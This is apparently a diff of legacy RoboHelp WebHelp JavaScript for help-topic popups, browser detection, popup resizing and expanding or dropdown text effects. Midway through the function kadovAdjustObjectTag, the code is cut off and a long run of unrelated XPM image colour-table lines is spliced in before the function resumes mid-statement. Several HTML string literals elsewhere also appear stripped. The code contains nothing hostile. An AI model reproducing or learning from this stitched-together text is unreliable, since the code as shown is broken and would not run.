window.gPopupWindow.onblur = NonIEPopup_HandleBlur; +} + +function setPopupFocus() +{ + window.gPopupWindow.focus(); +} + +function NonIEPopup_HandleBlur(e) +{ + window.gPopupWindow.focus(); +} + +function NonIEPopup_HandleClick(e) +{ + // Because navigator will give the event to the handler before the hyperlink, let's + // first route the event to see if we are clicking on a Popup menu in a popup. + document.routeEvent(e); + + // If a popup menu is active then don't do anything with the click + if (window.gPopupWindow.gbInPopupMenu) { + window.gPopupWindow.captureEvents(Event.CLICK); + window.gPopupWindow.onclick = NonIEPopup_HandleClick; + return false; + } + + // Close the popup window + if (e.target.href) { + if (e.target.target == "") + window.location.href = e.target.href; + else + window.open(e.target.href, e.target.target); + + if (e.target.href.indexOf("javascript:void(0)") == -1 && e.target.href.indexOf("javascript:null") == -1 && e.target.href.indexOf("BsscPopup") == -1) { + this.close(); + } + } else { + this.close(); + } + return false; + +} + +function BSSCPopup_AfterLoad(nIndex, nToken, cuswidth, cusheight) +{ + if (typeof(window.getPopupIFrame(nIndex).document) == "unknown") { + _BSSCPopup2(getPopupURL(nIndex), cuswidth, cusheight); + return; + } + if (!IsValidToken(nToken)) return; + + if ((window.getPopupIFrame(nIndex).document.readyState == "complete") && + (window.getPopupIFrame(nIndex).document.body != null)) { + if (window.getPopupIFrame(nIndex).document.location.href.indexOf("about:blank") != -1) { // add this check. IE will use about:blank" as the default vaule for Iframe. + window.getPopupIFrame(nIndex).document.location = getPopupURL(nIndex); + setTimeout("BSSCPopup_AfterLoad(" + nIndex + "," + nToken + "," + cuswidth + "," + cusheight + ")", 200); + } + else + { + setAbsPopupURL(nIndex, window.getPopupIFrame(nIndex).document.location.href); // change URL to abs url. + BSSCPopup_ResizeAfterLoad(nIndex, nToken, cuswidth, cusheight); + } + } else { + setTimeout("BSSCPopup_AfterLoad(" + nIndex + "," + nToken + "," + cuswidth + "," + cusheight + ")", 200); + } +} + + +function BSSCPopup_ResizeAfterLoad(nIndex, nToken, cuswidth, cusheight) +{ + if (window.gbPopupTimeoutExpired) return; + + if (!IsValidToken(nToken)) return; + + getPopupDivStyle(nIndex).visibility = gBsStyVisHide; + + // Determine the width and height for the window + //var size = new BSSCSize(0, 0); + //BSSCGetContentSize(window.getPopupIFrame(nIndex), size); + //var nWidth = size.x; + //var nHeight = size.y; + + _BSPSGetClientSize(); + + var size = new BSSCSize(0, 0); + + if (cuswidth <= 0 || cusheight <= 0) + BSSCGetContentSize(window.getPopupIFrame(nIndex), size); + else { + size.x = cuswidth; + size.y = cusheight; + } + + // Determine the width and height for the window + var nWidth = size.x; + var nHeight = size.y; + + // for small popup size, we should allow any size. + // The popup size should be ok if bigger than 0 + if (nWidth < 0 || nHeight < 0) return; // there must be something terribly wrong. + // if (nWidth < 40 || nHeight < 40) return; // there must be something terribly wrong. + + window.getPopupDivStyle(nIndex).pixelWidth = nWidth; + window.getPopupDivStyle(nIndex).pixelHeight = nHeight; + + window.getPopupShadowStyle(nIndex).pixelWidth = nWidth; + window.getPopupShadowStyle(nIndex).pixelHeight = nHeight; + window.getPopupTopicStyle(nIndex).pixelWidth = nWidth; + window.getPopupTopicStyle(nIndex).pixelHeight = nHeight; + if (gbBsIE55) + { + window.getPopupShadowStyle(nIndex).pixelWidth = nWidth + 2; + window.getPopupShadowStyle(nIndex).pixelHeight = nHeight + 2; + window.getPopupTopicStyle(nIndex).pixelWidth = nWidth + 2; + window.getPopupTopicStyle(nIndex).pixelHeight = nHeight + 2; + } + + window.getPopupIFrameStyle(nIndex).pixelWidth = nWidth; + window.getPopupIFrameStyle(nIndex).pixelHeight = nHeight; + if (gbBsIE55) + { + window.getPopupIFrameStyle(nIndex).top = 0; + window.getPopupIFrameStyle(nIndex).left = 0; + } + + var strURL = getPopupURL(nIndex); + if (strURL.indexOf("#") != -1) + getPopupIFrame(nIndex).location.href = strURL; // reload again, this will fix the bookmark misunderstand in IE5. + + MoveDivAndShow(nIndex, nToken, cuswidth, cusheight); +} + +function MoveDivAndShow(nIndex, nToken, cuswidth, cusheight) +{ + if (window.getPopupIFrame(nIndex).document.location.href != getAbsPopupURL(nIndex)) { // if redirect, reload again. + window.getPopupIFrame(nIndex).document.location = getPopupURL(nIndex); + setTimeout("BSSCPopup_AfterLoad(" + nIndex + "," + nToken + "," + cuswidth + "," + cusheight + ")", 200); + return; + } + + // Determine the position of the window + var nClickX = window.gnPopupClickX; + var nClickY = window.gnPopupClickY; + var nTop = 0; + var nLeft = 0; + + var nWidth = window.getPopupDivStyle(nIndex).pixelWidth; + var nHeight = window.getPopupDivStyle(nIndex).pixelHeight; + + if (nClickY + nHeight + 20 < gBsClientHeight + document.body.scrollTop) { + nTop = nClickY + 10; + } else { + nTop = (document.body.scrollTop + gBsClientHeight) - nHeight - 20; + } + if (nClickX + nWidth < gBsClientWidth + document.body.scrollLeft) { + nLeft = nClickX; + } else { + nLeft = (document.body.scrollLeft + gBsClientWidth) - nWidth - 8; + } + + if (nTop < document.body.scrollTop ) nTop = document.body.scrollTop + 1; + if (nLeft< document.body.scrollLeft) nLeft = document.body.scrollLeft + 1; + + + window.getPopupDivStyle(nIndex).left = nLeft; + window.getPopupDivStyle(nIndex).top = nTop; + + // Set the location of the background blocks + window.getPopupShadowStyle(nIndex).left = 6; + window.getPopupShadowStyle(nIndex).top = 6; + if (gbBsIE55) + { + window.getPopupShadowStyle(nIndex).left = 4; + window.getPopupShadowStyle(nIndex).top = 4; + } + + if (gbBsMac) { + // Total hack on the iMac to get the IFrame to position properly + window.getPopupIFrameStyle(nIndex).pixelLeft = 100; + window.getPopupIFrameStyle(nIndex).pixelLeft = 0; + // Explicitly call BSSCOnLoad because the Mac doesn't seem to do it + window.getPopupIFrame(nIndex).window.BSSCOnLoad(); + } + + BSSCPopup_Timeout(nIndex , nToken ); + + return; +} + +function BSSCSize(x, y) +{ + this.x = x; + this.y = y; +} + +function BSSCGetContentSize(thisWindow, size) +{ + if (!((gBsBrowser.ie4) || (gBsBrowser.ns4))) + return; + + if (gbBsMac) { + size.x = 300; + size.y = 300; + return; + } + + // Resize the width until it is wide enough to handle the content + // The trick is to start wide and determine when the scrollHeight changes + // because then we know a scrollbar is necessary. We can then go back + // to the next widest size (for no scrollbar) + + var ClientRate = gBsClientHeight / gBsClientWidth; + + var GoldenSize = new BSSCSize(0,0); + GoldenSize.x = gBsClientWidth * gBMaxXOfParent; + GoldenSize.y = gBsClientHeight *gBMaxYOfParent ; + + if (ClientRate > gBRateH_W) { + GoldenSize.y = GoldenSize.x * gBRateH_W; + } + else { + GoldenSize.x = GoldenSize.y / gBRateH_W; + } + + // Try to using parent specified max x. + var x = 0; + var maxgoldx = GoldenSize.x; + var maxx = gBsClientWidth * gBMaxXOfParent; + + // This double resize causes the document to re-render (and we need it to) + if (!gbBsIE5) + thisWindow.moveTo(10000,10000); // this is used to fix the flash on IE4. + thisWindow.resizeTo(1, 1); + thisWindow.resizeTo(1, 1); + thisWindow.resizeTo(maxgoldx, thisWindow.document.body.scrollHeight + gBscrollHeight); + thisWindow.resizeTo(maxgoldx, thisWindow.document.body.scrollHeight + gBscrollHeight); + + var miny = thisWindow.document.body.scrollHeight + gBscrollHeight; + + if (miny > GoldenSize.y) // the popup does not fix in the parent wanted golden area. so try to expand itself as large as it can + { + thisWindow.resizeTo(maxx , thisWindow.document.body.scrollHeight + gBscrollHeight); + thisWindow.resizeTo(maxx , thisWindow.document.body.scrollHeight + gBscrollHeight); + + miny = thisWindow.document.body.scrollHeight + gBscrollHeight; + maxy = gBsClientHeight * gBMaxYOfParent; + + if (miny > maxy) { // the popup must have a scroll, OK let it be. + miny = maxy; + size.x = maxx; + size.y = maxy; + thisWindow.document.body.scroll = 'yes'; // At this time we do want to show scroll any more. so it will looks better a little. + } + else { // popup still can fit in the parent area by someway. now we choose the same h/w rate as parent. + size.y = miny; + + // downsize from maxx , now I try to using binary divide. + x = maxx; + deltax = -maxx/2; + //j = 0; + while (true) { + x = x + deltax; + thisWindow.resizeTo(x, miny); + thisWindow.resizeTo(x, miny); + diffy = thisWindow.document.body.scrollHeight + gBscrollHeight - x * ClientRate; + if (diffy > gBpermitYDelta ) // it is higher than wanted, so x need to be wide a little bitter + deltax = Math.abs(deltax) /2; + else if (diffy < -gBpermitYDelta) // it is shorter than wanted, so x need to be narrow a little bitter + deltax = -Math.abs(deltax) /2; + else + // the y is close enough to wanted. + break; + if (Math.abs(deltax) < gBpermitXDelta) // the next change is too slight and it can be ignore. + break; + } + size.x = thisWindow.document.body.scrollWidth; //+ gBscrollWidth; + size.y = thisWindow.document.body.scrollHeight;// + gBscrollHeight; + thisWindow.document.body.scroll = 'no'; + + // Handle absurd cases just in case IE flakes + // if (size.y < 100) { + // size.y = 100; + // } + } + } + else { + if (thisWindow.document.body.scrollWidth > maxgoldx) { + size.x = maxx; + size.y = miny; + thisWindow.document.body.scroll = 'yes'; + } + else { + // downsize from maxgoldx , now I try to using binary divide. + x = maxgoldx; + deltax = -maxgoldx/2; + //i = 0; + while (true) { + x = x + deltax; + thisWindow.resizeTo(x, miny); + thisWindow.resizeTo(x, miny); + diffy = thisWindow.document.body.scrollHeight + gBscrollHeight - x * gBRateH_W; + if (diffy > gBpermitYDelta ) // it is higher than wanted, so x need to be wide a little bitter + deltax = Math.abs(deltax) /2; + else if (diffy < -gBpermitYDelta) // it is shorter than wanted, so x need to be narrow a little bitter + deltax = -Math.abs(deltax) /2; + else + // the y is close enough to wanted. + break; + if (Math.abs(deltax) < gBpermitXDelta) // the next change is too slight and it can be ignore. + break; + //i ++; + + } + //size.x = x - gBscrollWidth; + size.x = thisWindow.document.body.scrollWidth; //+ gBscrollWidth; + size.y = thisWindow.document.body.scrollHeight ; + thisWindow.document.body.scroll = 'no'; // At this time we do not want to show scroll any more. so it will looks better a little. + thisWindow.resizeTo(size.x, size.y); + if (thisWindow.document.body.scrollWidth > size.x) + { + size.x = thisWindow.document.body.scrollWidth; + } + if (thisWindow.document.body.scrollHeight > size.y) + { + size.y = thisWindow.document.body.scrollHeight; + } + } + } + + // no reload no scrollbar. + //size.x = size.x + 16; //reserve a width for scrollbar (IE 4.0 only) + + thisWindow.resizeTo(size.x, size.y); + thisWindow.resizeTo(size.x, size.y); + return; +} + + + +function BSSCPopupParentClicked() +{ + if (!window.gbPopupTimeoutExpired) { + return false; + } + + document.onmousedown = gbOrignalOnMouseDown; + + // Simply hide the popup + hideAll(); + + window.gbPopupTimeoutExpired = false; + + return true; +} + + +function BSSCPopupClicked() +{ + if (!window.gbPopupTimeoutExpired) { + return false; + } + + + var popupIFrame = getCurrentPopupIFrame(); + if (popupIFrame == null) { + return true; + } + +/* + if ("undefined" != typeof(popupIFrame.gbInPopupMenu) && + popupIFrame.gbInPopupMenu) { + return true; + }*/ + + if (!((popupIFrame.window.event != null) && + (popupIFrame.window.event.srcElement != null) && + ((popupIFrame.window.event.srcElement.tagName == "A") || + (popupIFrame.window.event.srcElement.tagName == "IMG")))) { + document.onmousedown = gbOrignalOnMouseDown; + + // Simply hide the popup + hideAll(); + + window.gbPopupTimeoutExpired = false; + + return true; + } +} + + +//trace the mouse over's position for hotspot +function BSPSPopupOnMouseOver(event) +{ + if (gBsBrowser.ie4) { + window.gnPopupClickX = event.clientX + document.body.scrollLeft; + window.gnPopupClickY = event.clientY + document.body.scrollTop; + window.gnPopupScreenClickX = event.screenX; + window.gnPopupScreenClickY = event.screenY; + } else if (gBsBrowser.ns4) { + window.gnPopupClickX = event.pageX - window.pageXOffset; + window.gnPopupClickY = event.pageY - window.pageYOffset; + window.gnPopupScreenClickX = event.screenX - window.pageXOffset; + window.gnPopupScreenClickY = event.screenY - window.pageYOffset; + } +} + + +function BSSCHidePopupWindow() +{ + if (window.gPopupWindow != null) { + if (gBsBrowser.ns4) { + if ((typeof window.gPopupWindow != "undefined") && (!window.gPopupWindow.closed)) { + window.gPopupWindow.close(); + window.gPopupWindow = null; + } + } + } + + return; +} + +// Add the PopupOnClick to the onclick array. +if (typeof(BsscRegisterOnClick) != "undefined") +{ + BsscRegisterOnClick(BsPopupOnClick); +} +//End to support previous popup functions + +/// Section End - Popup (JavaScript 1.0) + +/// Section Begin - Embedded Stub (JavaScript 1.0) + +var s_strAgent = navigator.userAgent.toLowerCase(); +var s_nVer = parseInt(navigator.appVersion); + +var s_bIE = (s_strAgent.indexOf('msie') != -1); +var s_bNS = (s_strAgent.indexOf('mozilla') != -1) && ((s_strAgent.indexOf('spoofer') == -1) && (s_strAgent.indexOf('compatible') == -1)); +var s_bOpera = (s_strAgent.indexOf('opera') != -1); + +var s_bIE3Before = ((s_bIE) && (s_nVer <= 2)); +var s_bNS3Before = ((s_bNS) && (s_nVer <= 3)); + +var s_bNS2 = ((s_bNS) && (s_nVer <= 2)); +var s_bNS3 = ((s_bNS) && (s_nVer == 3)); +var s_bIE300301 = ((s_bIE) && (s_nVer == 2) && ((s_strAgent.indexOf("3.00") != -1)||(s_strAgent.indexOf("3.0a") != -1)||(s_strAgent.indexOf("3.0b")!=-1)||(s_strAgent.indexOf("3.01")!=-1))); +var s_bIE302 = ((s_bIE) && (s_nVer == 2) && (s_strAgent.indexOf("3.02") != -1)); + + +function HasExtJs() +{ + if (s_bIE3Before) { return false;} + if (s_bNS3Before) { return false;} + if (typeof (BsGeneralOnLoad) == "undefined"){ return false; } + return true; +} + + +function BSSCCreatePopupDiv() +{ + return; +} + + +function WritePopupMenuLayer() +{ + if (HasExtJs()) {_WritePopupMenuLayer();} +} + +function BSSCPopup(strURL, width, height) +{ + var re = new RegExp("'", 'g'); + strURL = strURL.replace(re, "%27"); + + if (HasExtJs()) { + _BSSCPopup(strURL, width, height); + }else{ + //Create a temporary window first to ensure the real popup comes up on top + var wndTemp = null; + if (!s_bNS3) { + wndTemp = window.open("", "temp", "titlebar=no,toolbar=no,status=no,location=no,menubar=no,resizable=yes,scrollbars=yes,height=3,width=4"); + } + // Create the real popup window + var wndPopup = window.open(strURL, "BSSCPopup", "titlebar=no,toolbar=no,status=no,location=no,menubar=no,resizable=yes,scrollbars=yes,height=300,width=400"); + // Close the temporary + if (!s_bNS3) { + wndTemp.close(); + } else { + wndPopup.focus(); + } + } +} + +var gbWndTemp = null, gbWndPopupLinks = null; +var gbstrParaTotal = ""; + +function PopupMenu_Invoke() +{ + if (HasExtJs()) { + return _PopupMenu_Invoke(PopupMenu_Invoke.arguments); + } + if (s_bNS3Before || s_bIE3Before ) { + var argLen = PopupMenu_Invoke.arguments.length; + if (argLen < 5) { + window.document.location.href = PopupMenu_Invoke.arguments[3]; + return false; + } + gbWndTemp = null; + gbWndPopupLinks = null; + gbstrParaTotal = ""; + for (var i = 0; i < (argLen - 2) / 2; i++) { + var strParaLine = ""; + if (s_bNS2 || s_bOpera){ + strParaLine += "
    " + strParaLine += PopupMenu_Invoke.arguments[2 * i + 2]; + strParaLine += ""; + } else { + strParaLine += ""); + if (s_bNS2 || s_bOpera) { + gbWndPopupLinks.document.write(""); + } else { + //YJ: IE301,302 and NS3.x works fine + gbWndPopupLinks.document.write("<"); + gbWndPopupLinks.document.write("script>"); + gbWndPopupLinks.document.write("function gotoUrl(aUrl) {opener.window.location=aUrl; close();}"); + gbWndPopupLinks.document.write("<"); + gbWndPopupLinks.document.write("/script>"); + } + gbWndPopupLinks.document.write(""); + gbWndPopupLinks.document.write(gbstrParaTotal); + gbWndPopupLinks.document.write(""); + gbWndPopupLinks.document.close(); + + // Close the temporary + if (!s_bNS3 && gbWndTemp != null) { + gbWndTemp.close(); + }else { + gbWndPopupLinks.focus(); + } + + return true; + } + return false; +} + +/// Section End - Embedded Stub (JavaScript 1.0) + +//// Segment End -- (JavaScript 1.0) + +//// Segment Begin -- (JavaScript 1.2) +/// Section Begin - kadov DHTM (JavaScript 1.2) + +//Begin to support extended and dropdown text effects. +function kadovIsParagraph(el) +{ + return( el.tagName == "P" || el.tagName.indexOf("H") == 0 ) ? true : false; +} + +function kadovInitEachChild(el) +{ + for(var i=0; i "") ) + child.style.setAttribute( "x-on-pageload", "" ); + } + + var href = child.getAttribute("href") + if( href != null && href > "" && href.indexOf( "BSSCPopup" ) >= 0 ) + kadovFilePopupInit(child.id); // Init for Popup + else if( child.className == "dropspot" || child.className == "expandspot" || + child.className == "glossterm" ) + kadovTextPopupInit(child.id);// Init for Expanding/Glossary or DropDown text + else if( child.className == "trigger") + kadovInitTrigger(child.id);// Init for Trigger + else + { + kadovInitEffects(child.id);// Init for DHTML effects + CEngine.SetOneTargetInitialState( child.id ); + } + } + + if( (child.tagName == "IMG") && (child.getAttribute("dynsrc") > "") ) + child.start = "mouseover";// to start a AVI file. fileopen doesn't work + + kadovInitEachChild(child); + } +} + +function kadovRetrieveTextInner(el) +{ + var x = ""; + if( (!el) || (el.tagName == "!") || (el.tagName == "SCRIPT" )) + return x; + + if( kadovIsParagraph(el) ) + { + var strNewID = " "; + if( el.id != "" ) + strNewID += "id=" + el.id + "_NewSpan "; + x = "" + el.innerHTML + ""; + } + else + { + for(var i=0; i 0 ) + if( (nTagClose - nTagOpen) != nDistance ) + return strRawHTML; + + var strCleanOnce = strRawHTML.substring(0, nTagOpen) + strRawHTML.substr(nTagClose + strTagClose.length) ; + return kadovRetrieveCleanHTML( strCleanOnce, strTagOpen, strTagClose ); +} + +function kadovAdjustObjectTag(strRawHTML, nStartPos) +{// adjust object tag for related topics HTML control, because innerHTML misses out the item settings + + //Is there any DTC? + var strDTCTagOpen = ''; + var nDTCTagOpen = strRawHTML.indexOf( strDTCTagOpen, nStartPos ); + if( nDTCTagOpen < 0 ) + return strRawHTML; + var nDTCTagClose = strRawHTML.indexOf( strDTCTagClose, nDTCTagOpen ); + if( nDTCTagClose < nDTCTagOpen) + return strRawHTML; // no Design Time Controls; + + //Is the DTC HTML Help Control? + var strRTObjTagOpen = 'classid=clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11'; + var strRTObjTagClose = '

    q c #B39A75", +",q c #3F3E16", +"'q c #6D6721", +")q c #857438", +"!q c #9E7E4A", +"~q c #BA954E", +"{q c #CDA64C", +"]q c #D5A94B", +"^q c #DFAE4A", +"/q c #E4B04A", +"(q c #E7B149", +"_q c #E6B048", +":q c #E0AB47", +"r c #F5E7DC", +",r c #F5E7DF", +"'r c #F5E8E0", +")r c #F7EBE1", +"!r c #FAEEE3", +"~r c #FBEFE3", +"{r c #FAEDE1", +"]r c #F7EADC", +"^r c #F3E4D3", +"/r c #EEDCC7", +"(r c #E7D1B4", +"_r c #F8D8A7", +":r c #AA9071", +"s c #CCB750", +",s c #FFF559", +"'s c #DACE3D", +")s c #5C502E", +"!s c #A8988C", +"~s c #FFEDCC", +"{s c #EFDBBD", +"]s c #EBD9C2", +"^s c #EFDECA", +"/s c #F0E0CF", +"(s c #F3E4D6", +"_s c #F4E4D8", +":s c #F4E4DA", +"t c #343202", +",t c #706826", +"'t c #A79B3A", +")t c #C6B649", +"!t c #C7B64C", +"~t c #EEE24B", +"{t c #C6B94C", +"]t c #D5C94C", +"^t c #DFD14D", +"/t c #C2AE4D", +"(t c #D4BF4D", +"_t c #D6C14D", +":t c #D5C04D", +"u c #FFF5E5", +",u c #F0DDCB", +"'u c #EDDBC4", +")u c #F3DDBE", +"!u c #DAC1A5", +"~u c #484125", +"{u c #4D4910", +"]u c #79702A", +"^u c #A99A3E", +"/u c #C5B549", +"(u c #F3E84B", +"_u c #D9CC4A", +":u c #AC9A4A", +"v c #887836", +",v c #DFC2AE", +"'v c #E8D1B3", +")v c #F5E6D7", +"!v c #F6E7DB", +"~v c #FDEFE6", +"{v c #DED1C6", +"]v c #E3D4C6", +"^v c #FEEDDD", +"/v c #EEDDC9", +"(v c #B5A087", +"_v c #302C0B", +":v c #5A521D", +"w c #DEC700", +",w c #D7C100", +"'w c #C7B100", +")w c #D6C400", +"!w c #E4D400", +"~w c #BDA700", +"{w c #D1BB00", +"]w c #948600", +"^w c #7B6A49", +"/w c #F6D6B4", +"(w c #E8D2B3", +"_w c #ECDAC3", +":w c #EFDECE", +"x c #E7CB00", +",x c #DAC000", +"'x c #CDB500", +")x c #B7A100", +"!x c #EEDF00", +"~x c #B29F00", +"{x c #BDA800", +"]x c #CEB800", +"^x c #DCC400", +"/x c #D6BF00", +"(x c #C5AE00", +"_x c #D9C700", +":x c #E3D200", +"y c #B56500", +",y c #C56E00", +"'y c #D47400", +")y c #D87400", +"!y c #E07705", +"~y c #7E441D", +"{y c #F7BC12", +"]y c #E8D500", +"^y c #E9CB00", +"/y c #E7CA00", +"(y c #DCC100", +"_y c #CFB600", +":y c #BDA400", +"z c #CA7800", +",z c #B86D00", +"'z c #A15800", +")z c #915100", +"!z c #FDF000", +"~z c #D4B300", +"{z c #8E3F00", +"]z c #B36400", +"^z c #C56C00", +"/z c #D67200", +"(z c #E07505", +"_z c #F7BA12", +":z c #E8D200", +"A c #D38400", +",A c #D88500", +"'A c #DA8300", +")A c #DB8400", +"!A c #DE8500", +"~A c #D98200", +"{A c #C97800", +"]A c #B86C00", +"^A c #9E5400", +"/A c #9C5E00", +"(A c #FFFC00", +"_A c #914100", +":A c #B46400", +"B c #9F5700", +",B c #BE7700", +"'B c #CE8100", +")B c #D38100", +"!B c #D78200", +"~B c #DA8400", +"{B c #D58100", +"]B c #C67600", +"^B c #B56A00", +"/B c #984D00", +"(B c #A16700", +"_B c #B98A00", +":B c #954500", +"C c #9D6300", +",C c #C3A200", +"'C c #DFD100", +")C c #E4D200", +"!C c #D3BE00", +"~C c #CFB300", +"{C c #D7BE00", +"]C c #E1CE00", +"^C c #CAA000", +"/C c #A95C00", +"(C c #C27500", +"_C c #CC7E00", +":C c #D28000", +"D c #352500", +",D c #6F4C00", +"'D c #9D6C00", +")D c #CA8B00", +"!D c #CC8B00", +"~D c #B07000", +"{D c #A16600", +"]D c #F1E200", +"^D c #DEC600", +"/D c #A37000", +"(D c #844500", +"_D c #8A4A00", +":D c #A76E00", +"E c #DCA475", +",E c #E8AA72", +"'E c #654A26", +")E c #362500", +"!E c #704D00", +"~E c #C28600", +"{E c #B37800", +"]E c #996200", +"^E c #E5D700", +"/E c #F7F900", +"(E c #A57B00", +"_E c #824200", +":E c #965800", +"F c #E3B095", +",F c #E5B297", +"'F c #E5B292", +")F c #E3AE89", +"!F c #E1AB80", +"~F c #E6AB77", +"{F c #534028", +"]F c #291E08", +"^F c #583F10", +"/F c #765416", +"(F c #825B18", +"_F c #754E15", +":F c #795715", +"G c #DEAB00", +",G c #6D530C", +"'G c #945932", +")G c #C88747", +"!G c #CD975C", +"~G c #DCAA70", +"{G c #D9A783", +"]G c #DCAA91", +"^G c #E3B198", +"/G c #E6B399", +"(G c #E6B294", +"_G c #E3AF8C", +":G c #E0AA83", +"H c #EDD900", +",H c #B98900", +"'H c #D4A100", +")H c #B08B00", +"!H c #734C1B", +"~H c #BE7335", +"{H c #BC8149", +"]H c #CD975E", +"^H c #DFAD73", +"/H c #DDAC86", +"(H c #DCA993", +"_H c #E2B099", +":H c #E5B399", +"I c #F1DE00", +",I c #CDA700", +"'I c #D79E00", +")I c #886C04", +"!I c #734424", +"~I c #C77931", +"{I c #BC8047", +"]I c #CA935B", +"^I c #DCAA71", +"/I c #E1B084", +"(I c #DCAA92", +"_I c #E2AF99", +":I c #E5B099", +"J c #584500", +",J c #7F6300", +"'J c #B88F00", +")J c #D0A100", +"!J c #BB8700", +"~J c #E5CC00", +"{J c #E7D000", +"]J c #D29700", +"^J c #7A6009", +"/J c #774227", +"(J c #C3732B", +"_J c #BA7B40", +":J c #C58C55", +"K c #BB6A27", +",K c #8B5227", +"'K c #2D2809", +")K c #594600", +"!K c #C29500", +"~K c #D4A300", +"{K c #C69300", +"]K c #C89F00", +"^K c #F0DE00", +"/K c #D4A200", +"(K c #947303", +"_K c #643B21", +":K c #BF682A", +"L c #AB5C28", +",L c #AC6124", +"'L c #A96029", +")L c #422F11", +"!L c #433900", +"~L c #826500", +"{L c #BD9200", +"]L c #D09F00", +"^L c #B88300", +"/L c #E4CA00", +"(L c #CA8F00", +"_L c #796109", +":L c #5E3123", +"M c #A45527", +",M c #A65B22", +"'M c #BF6827", +")M c #663E1B", +"!M c #725800", +"~M c #AD8500", +"{M c #D2A100", +"]M c #C59100", +"^M c #D4A800", +"/M c #CC9600", +"(M c #755E07", +"_M c #532E1C", +":M c #A75C33", +"N c #9C8E10", +",N c #883B25", +"'N c #AA5C21", +")N c #B66023", +"!N c #864B24", +"~N c #221F07", +"{N c #5A4400", +"]N c #937200", +"^N c #C89900", +"/N c #D6A100", +"(N c #D09E00", +"_N c #B98300", +":N c #DDBF00", +"O c #A45620", +",O c #B35C25", +"'O c #452D15", +")O c #2D2600", +"!O c #785900", +"~O c #B38900", +"{O c #D2A000", +"]O c #CA9900", +"^O c #BD8800", +"/O c #D4AE00", +"(O c #B57A00", +"_O c #E0A400", +":O c #B78900", +"P c #1D0A03", +",P c #6C3B1E", +"'P c #BA5D20", +")P c #A0531E", +"!P c #B95C20", +"~P c #7B4321", +"{P c #1B1905", +"]P c #593D00", +"^P c #957100", +"/P c #C79A00", +"(P c #D3A100", +"_P c #D19E00", +":P c #BF8700", +"

    '; + var nRTObjTagOpen = strRawHTML.indexOf( strRTObjTagOpen, nDTCTagOpen ); + if( nRTObjTagOpen < nDTCTagOpen ) + return strRawHTML; + var nRTObjTagClose = strRawHTML.indexOf( strRTObjTagClose, nRTObjTagOpen ); + if( nRTObjTagClose < nRTObjTagOpen ) + return strRawHTML; // is not a HTML help control + + // Is it a related Topics html help control? + var strRTObjLabel = ''; + } + + // to insert the reconstructed item params into runtime object tag + var strAdjustedHTML = strRawHTML.substring(0,nRTObjTagClose) + strRunTimeItemParam + strRawHTML.substring(nRTObjTagClose, strRawHTML.length); + return kadovAdjustObjectTag(strAdjustedHTML, nDTCTagClose + strDTCTagClose.length); +} + +function kadovTextPopupOnLoad( el ) +{ + if( !CCSSP.bIsWinOS && !CCSSP.bIsSunOS && !(CCSSP.bIsMacOS&&CCSSP.bIsIE5)) + return 0; + + if( typeof(el) == "string" ) + el = document.all.item(el); + + var src = el.getAttribute( "x-use-popup" ); + if(!src) + return 0; + + var name = src; + if( src.substr(0,1) == "#" ) + name = src.substr(1, src.length-1); + var srcDiv = document.all.item(name); + if( !srcDiv ) + return 1; + + var type = el.getAttribute( "x-popup-type" ); + var setup = el.getAttribute( "x-tmp-setup" ); + var newId = name; + if( newId.indexOf( "_tmp") <= 0 ) + newId += "_tmp"; + + if( !setup ) + { + el.setAttribute( "x-tmp-setup", 1 ); + + if( type == "pulldown" ) + { + var strAdjust = kadovAdjustObjectTag(srcDiv.innerHTML,0); + var strCleanHTML = kadovRetrieveCleanHTML(strAdjust, ""); + strCleanHTML = kadovRetrieveCleanHTML(strCleanHTML, ""); + + //work around the bug in HH.exe that highlight the phrases when use Search tab + //this approach is just removing the tag inserted by Microsoft in the runtime + strCleanHTML = kadovRetrieveCleanHTML(strCleanHTML, "", 52); + + var strStyle = " style='display:none; position:relative;"; + var newDiv = "
    " + strCleanHTML + "
    "; + + srcDiv.outerHTML = ""; // empty the original DIV tag + var elParentPra = kadovFindParentParagraph(el); + if( elParentPra ) + elParentPra.insertAdjacentHTML( "AfterEnd", newDiv ); + } + else if( type == "expanding" ) + { + var inner = kadovRetrieveTextInner(srcDiv); + if( inner == "" ) + inner = srcDiv.innerHTML; + var strAdjust = kadovAdjustObjectTag(inner,0); + var strCleanHTML = kadovRetrieveCleanHTML(strAdjust, ""); + strCleanHTML = kadovRetrieveCleanHTML(strCleanHTML, ""); + var strClassName = (el.className == "glossterm") ? "glosstext" : "expandtext"; + var newSpan = ""; + srcDiv.outerHTML = ""; // empty the original DIV tag + el.insertAdjacentHTML( "AfterEnd", newSpan ); + } + } + return 0; +} + +function kadovTextPopup( el ) +{ + if( (!CCSSP.bIsWinOS && !CCSSP.bIsSunOS && !(CCSSP.bIsMacOS&&CCSSP.bIsIE5)) || (window.event == null) ) + return; + window.event.cancelBubble = true; + + if( typeof(el) == "string" ) + el = document.all.item(el); + + var src = el.getAttribute( "x-use-popup" ); + if(!src) + return; + + var name = src; + if( src.substr(0,1) == "#" ) + name = src.substr(1, src.length-1) + "_tmp"; + + var srcDiv = document.all.item(name); + if( !srcDiv ) + return; + + var type = el.getAttribute( "x-popup-type" ); + var setup = el.getAttribute( "x-tmp-setup" ); + if( srcDiv ) + { + if( srcDiv.style.display == "" ) + srcDiv.style.display = "none"; + else + { + srcDiv.style.display = ""; + if( typeof(srcDiv.bInitialized) == "undefined" ) + { + srcDiv.bInitialized = true; + kadovInitEffects(name); + kadovInitEachChild(srcDiv); + } + } + } + event.returnValue=false; + return; +} + +function kadovFindParentParagraph( el ) +{ + if( typeof(el) == "string" ) + el = document.all.item(el); + if( (!el) || el.tagName == "BODY" ) + return null; + if( kadovIsParagraph(el.parentElement) ) + return el.parentElement; + else + return kadovFindParentParagraph( el.parentElement ); +} + +//Begin HTML code invoked function +function kadovRegisterEventHandler( obj, strEvent, strEventHandler ) +{ + if( !gbBsIE4 ) + return; + CCSSP.RegisterEventHandler( obj, strEvent, strEventHandler ); +} + +function kadovTextPopupInit( el ) +{ + if( (!gbBsIE4) || (!CCSSP.bIsWinOS && !CCSSP.bIsSunOS && !(CCSSP.bIsMacOS&&CCSSP.bIsIE5))) + return; + + if( typeof(el) == "string" ) + el = document.all.item(el); + if( el != null ) + { + CCSSP.RegisterEventHandler( el, "onclick", "kadovTextPopup(" + el.id +");" ); + CCSSP.RegisterEventHandler( window, "onload", "kadovTextPopupOnLoad(" + el.id +");" ); + } +} +//End HTML code invoked function + +//End to support extended and dropdown text effects. + +//Begin to convert iWrite format to RoboEditor Format for DHTML effects +function kadovInitTriggersInHead( ) +{ + if( 